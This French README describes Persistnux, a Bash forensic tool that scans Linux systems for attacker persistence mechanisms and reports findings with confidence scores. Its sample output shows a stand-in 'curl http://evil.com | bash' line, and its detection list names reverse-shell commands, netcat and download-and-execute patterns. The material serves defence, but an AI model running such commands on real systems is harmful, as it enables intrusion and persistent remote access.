
Outil de détection de persistance Linux basé sur Bash pour les enquêtes DFIR. Analyse 15+ mécanismes de persistance (systemd, cron, modules noyau, SSH, conteneurs) avec un score de confiance et génère des rapports CSV/JSONL pour l'analyse forensique.
Un outil complet de détection de persistance Linux pour les enquêtes de criminalistique numérique et réponse aux incidents (DFIR).
Persistnux est un outil en Bash conçu pour identifier les mécanismes de persistance Linux connus utilisés par les attaquants pour maintenir l'accès à des systèmes compromis. Il effectue des vérifications complètes sur le système et génère des rapports détaillés aux formats CSV et JSONL pour une analyse approfondie.
.service) dans /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow et /etc/cron.denv — les entrées référençant des utilisateurs inexistants sont signalées/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile, etc.)/etc/rc.local et variantes/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — chaque bibliothèque listée est vérifiée via le gestionnaire de paquets/etc/ld.so.conf, /etc/ld.so.conf.d/) — intégrité des fichiers de conf + fichiers .so dans des chemins non standards scannés et vérifiés/etc/environment LD_PRELOAD/LD_LIBRARY_PATH — le fichier d'environnement est signalé ÉLEVÉ ; les chemins de bibliothèques référencés sont vérifiés (non gérés/modifiés → CRITIQUE)/etc/modprobe.d/, /etc/modprobe.conf) — intégrité des fichiers ; les directives install sont analysées pour des cibles de commandes suspectes ; les blacklist de modules de sécurité (apparmor, selinux, seccomp) sont signalées ÉLEVÉ/etc/modules, /etc/modules-load.d/) — intégrité des configs ; les noms de modules référencés sont résolus en fichiers via et vérifiés.config/autostart, /etc/xdg/autostart) — tous les répertoires personnels sont scannés en mode root/etc/environment) — chemins de bibliothèques LD_PRELOAD/LD_LIBRARY_PATH vérifiés/etc/sudoers, /etc/sudoers.d/) — motifs NOPASSWD/ALL → ÉLEVÉ.so vérifiés via le gestionnaire de paquets ; les directives @include sont suivies ; /etc/pam.conf incluspam_exec.so — scripts manquants/suspects → CRITIQUEpam_python.so / pam_perl.so — script extrait et analysépam_script.so dans ~/.ssh/authorized_keys par utilisateur — clés récemment modifiées signalées ; option command= analysée pour des motifs suspects~/.ssh/rc par utilisateur — présence signalée MOYEN ; contenu suspect/reverse shell → ÉLEVÉ/CRITIQUEdpkg -V sur Debian/Ubuntu, rpm -Va sur RHEL/CentOS)/usr/bin, /usr/sbin, /bin, /sbin → résultat CRITIQUE/lib/security → résultat CRITIQUEinit= dans GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)/pre-pivot écrivant dans /sysroot/etc/shadow/etc/initramfs-tools/scripts/ et /hooks//boot/initrd.img-* récemment modifiées (basé sur mtime).pkla avec ResultAny/ResultInactive/ResultActive=yes inconditionnelsunix-user:*).rules avec polkit.Result.YES inconditionnel (Polkit basé sur JavaScript >= 0.106)Exec= (/usr/share/dbus-1/system-services/)allow own="*" ou send_destination="*"/etc/NetworkManager/dispatcher.d/)RUN+= exécutant des commandes ou scripts arbitraires (/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/at/cron dans RUN+= (contournement courant de la restriction de premier plan)--privileged, --pid=host)docker.sock dans les conteneurs (contrôle total de l'hôte via l'API Docker)nsenter -t 1 dans les points d'entrée de conteneurs ou Dockerfilesgetcap — cap_setuid+ep sur GTFOBins → CRITIQUE.original, .old, .bak, .real) avec scripts enveloppes/etc/passwd/etc/passwdauthorized_keys SSH# Cloner le dépôt
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Rendre le script exécutable
chmod +x persistnux.sh
# Exécution avec les paramètres par défaut (affiche uniquement les résultats suspects)
sudo ./persistnux.sh
# Afficher l'aide et toutes les options
./persistnux.sh --help
# Exécution en tant qu'utilisateur normal (portée limitée)
./persistnux.sh
Par défaut, Persistnux affiche uniquement les résultats suspects (confiance MOYENNE, ÉLEVÉE, CRITIQUE) pour réduire le bruit et se concentrer sur les menaces exploitables.
# Par défaut : Afficher uniquement les résultats suspects
sudo ./persistnux.sh
# Afficher tous les résultats, y compris la ligne de base (confiance FAIBLE)
sudo ./persistnux.sh --all
# OU
sudo FILTER_MODE=all ./persistnux.sh
# Afficher uniquement les résultats de confiance ÉLEVÉE et CRITIQUE
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combiner les filtres : confiance ÉLEVÉE uniquement
sudo ./persistnux.sh --min-confidence HIGH
# Spécifier un répertoire de sortie personnalisé
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combiner avec le filtrage
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Par défaut, Persistnux crée un répertoire de sortie . /persistnux_output/ contenant :
persistnux_<nom_hote>_<horodatage>.csv - Rapport au format CSVpersistnux_<nom_hote>_<horodatage>.jsonl - Rapport au format JSONL (un objet JSON par ligne)persistnux_<nom_hote>_<horodatage>_report.txt - Rapport récapitulatif lisible avec les comptes de résultats et les métadonnées d'analysetimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux utilise un score de confiance intelligent pour réduire les faux positifs :
Persistnux inclut désormais plusieurs fonctionnalités pour réduire les faux positifs :
dpkg (Debian/Ubuntu) ou rpm (RedHat/CentOS) reçoivent des scores de confiance plus faiblesPersistnux signale automatiquement les éléments avec une confiance plus élevée lorsqu'il détecte :
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (pour des vérifications spécifiques)python/jq nécessaire)Remarque : L'outil est principalement testé sur des systèmes Ubuntu/Debian. Les distributions RedHat, Fedora et basées sur RPM ont une prise en charge du gestionnaire de paquets implémentée dans le code mais n'ont pas été validées dans des environnements de test en direct. Les contributions et les rapports de test pour les distributions basées sur RPM sont les bienvenus.
Persistnux est comparé à PANIX,
qui installe les mêmes mécanismes de persistance que Persistnux recherche. Le harnais
reproductible tests/panix_benchmark.sh applique chaque
technique PANIX, exécute Persistnux, et confirme la détection via une diff de base.
Chaque technique PANIX basée sur un fichier applicable sur la machine de test est
détectée avec une confiance MOYENNE+. Voir PANIX_BENCHMARK.md pour le
tableau de couverture complet et la méthodologie.
⚠️ Le benchmark installe de véritables backdoors — exécutez-le uniquement dans une VM jetable.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Les contributions sont les bienvenues ! N'hésitez pas à soumettre des pull requests ou à ouvrir des issues pour :
Licence MIT - Voir le fichier LICENSE pour les détails
Développé pour la communauté DFIR afin d'aider dans la réponse aux incidents Linux et les investigations forensiques.
Cet outil est destiné uniquement aux tests de sécurité autorisés, à la réponse aux incidents et à l'analyse forensique. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant d'exécuter cet outil sur un système.
Pour toute question, problème ou contribution, veuillez utiliser le système de suivi des issues GitHub.
.komodinfolsmod) — énumération et vérification d'intégrité/etc/security/pam_env.conf et ~/.pam_environment/etc/security//etc/update-motd.d/) — vérification de paquet ; modifié → CRITIQUE| Distribution | Statut | Remarques |
|---|
| Ubuntu 22.04 LTS | ✅ Testé | Plateforme principale de développement et de test |
| Ubuntu 20.04 LTS | ✅ Testé | Entièrement pris en charge |
| Debian 11/12 | ✅ Testé | Basé sur dpkg, mêmes conventions de chemins |
| Kali Linux (rolling) | ✅ Testé | Utilisé pour le benchmark de détection PANIX (voir ci-dessous) |
| RedHat / RHEL | ⚠️ Non encore testé | La prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production |
| Fedora | ⚠️ Non encore testé | La prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production |
| CentOS / AlmaLinux / Rocky | ⚠️ Non encore testé | La prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production |